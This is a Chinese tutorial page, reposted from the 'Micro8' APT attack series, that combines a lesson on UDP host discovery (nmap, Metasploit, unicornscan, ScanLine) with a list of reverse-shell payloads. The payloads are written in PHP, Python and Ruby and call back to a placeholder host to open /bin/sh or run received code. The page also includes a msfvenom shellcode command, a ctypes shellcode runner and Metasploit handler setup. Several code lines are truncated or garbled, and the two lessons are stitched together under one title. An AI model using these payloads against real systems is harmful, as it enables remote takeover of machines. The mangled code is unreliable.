专注 APT 攻击与防御—基于UDP发现内网存活主机

发布于:2024-05-07 ⋅ 阅读:(18) ⋅ 点赞:(0)

UDP简介:

UDP(User Datagram Protocol)是一种无连接的协议,在第四层-传输层,处于IP协议的上一层。UDP有不提供数据包分组、组装和不能对数据包进行排序的缺点,也就是说,当报文发送之后,是无法得知其是否安全完整到达的。

UDP显著特性:

  1. UDP 缺乏可靠性。UDP 本身不提供确认,超时重传等机制。UDP 数据报可能在网络中被复制,被重新排序,也不保证每个数据报只到达一次。

  2. UDP 数据报是有长度的。每个 UDP 数据报都有长度,如果一个数据报正确地到达目的地,那么该数据报的长度将随数据一起传递给接收方。而 TCP 是一个字节流协议,没有任何(协议上的)记录边界。

  3. UDP 是无连接的。UDP 客户和服务器之前不必存在长期的关系。大多数的UDP实现中都选择忽略源站抑制差错,在网络拥塞时,目的端无法接收到大量的UDP数据报

  4. UDP 支持多播和广播。

1、nmap扫描


  1. root@John:~# nmap -sU -T5 -sV --max-retries 1 192.168.1.100 -p 500

慢的令人发指

第十二课:基于UDP发现内网存活主机 - 图1

2、msf扫描


  1. msf > use auxiliary/scanner/discovery/udp_probe

第十二课:基于UDP发现内网存活主机 - 图2


  1. msf > use auxiliary/scanner/discovery/udp_sweep

第十二课:基于UDP发现内网存活主机 - 图3

3、unicornscan扫描

linux下使用推荐


  1. root@John:~# unicornscan -mU 192.168.1.100

第十二课:基于UDP发现内网存活主机 - 图4

4、ScanLine扫描

项目地址:
Download and Install our Award Winning Products | McAfee
网盘地址:
百度网盘-链接不存在
密码:hvyx

McAfee出品,win下使用推荐。管理员执行。
 

第十二课:基于UDP发现内网存活主机 - 图5

第十二课:基于UDP发现内网存活主机 - 图6

1、php-payload


  1. msf > use exploit/multi/handler
  2. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  3. payload => windows/meterpreter/reverse_tcp
  4. msf exploit(handler) > set LHOST 192.168.1.107
  5. LHOST => 192.168.1.107

  1. <?
  2. php error_reporting(0); $ip = 'x.x.x.x'; $port = 53; if (($f = 'stream_socket_client') && is_callable($f)) {
  3. {$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_
  4. strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s;
  5. $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('s
  6. >

第十四课:基于第十课补充payload1 - 图1


  1. <?php
  2. $sock=fsockopen("xx.xx.xx.xx",xx);exec("/bin/sh -i <&3 >&3 2>&3");
  3. ?>

第十四课:基于第十课补充payload1 - 图2

2、python-payload


  1. msf > use exploit/multi/handler
  2. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  3. payload => windows/meterpreter/reverse_tcp
  4. msf exploit(handler) > set LHOST 192.168.1.107
  5. LHOST => 192.168.1.107

  1. import socket,struct,time
  2. for x in range(10):
  3. try:
  4. s=socket.socket(2,socket.SOCK_STREAM)
  5. s.connect(('x.x.x.x',xx))
  6. break
  7. except:
  8. time.sleep(5) l=struct.unpack('>I',s.recv(4))[0]
  9. d=s.recv(l)
  10. while len(d)<l:
  11. d+=s.recv(l-len(d))
  12. exec(d,{'s':s})

第十四课:基于第十课补充payload1 - 图3


  1. import socket,subprocess,os;
  2. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",xx));
  3. i"]);

第十四课:基于第十课补充payload1 - 图4


  1. import socket import subprocess
  2. s=socket.socket()
  3. s.connect(("xx.xx.xx.xx",xx))
  4. while 1:
  5. p = subprocess.Popen(s.recv(1024),
  6. shell=True,
  7. stdout=subprocess.PIPE,
  8. stderr=subprocess.PIPE,
  9. stdin=subprocess.send(p.stdout.read() + p.stderr.read()
  10. )

第十四课:基于第十课补充payload1 - 图5

删除特征:


  1. root@John:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=8.8.8.8 LPORT=88 -f c | tr -d '"' | tr -d '\n'

第十四课:基于第十课补充payload1 - 图6


  1. from ctypes import *
  2. reverse_shell = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72
  3. micropoorshell = create_string_buffer(reverse_shell, len(reverse_shell))
  4. shellcode = cast(micropoorshell, CFUNCTYPE(c_void_p))
  5. shellcode()

2、ruby-payload


  1. require 'socket';c=TCPSocket.new("xx.xx.xx.xx", x);$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdi
  2. (IO.popen(l,"rb"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil}

第十四课:基于第十课补充payload1 - 图7


  1. require 'socket';f=TCPSocket.open("xx.xx.xx.xx",xx).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)

第十四课:基于第十课补充payload1 - 图8


  1. require 'socket';c=TCPSocket.new("xx.xx.xx.xx","xx");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end

第十四课:基于第十课补充payload1 - 图9


  1. c=TCPSocket.new("xx.xx.xx.xx","xx");while(cmd=c.gets);IO.popen(cmd,"r"){\|io\|c.print
  2. io.read}end

第十四课:基于第十课补充payload1 - 图10

文章来源:《专注 APT 攻击与防御 - Micro8 系列教程》 - 书栈网 · BookStack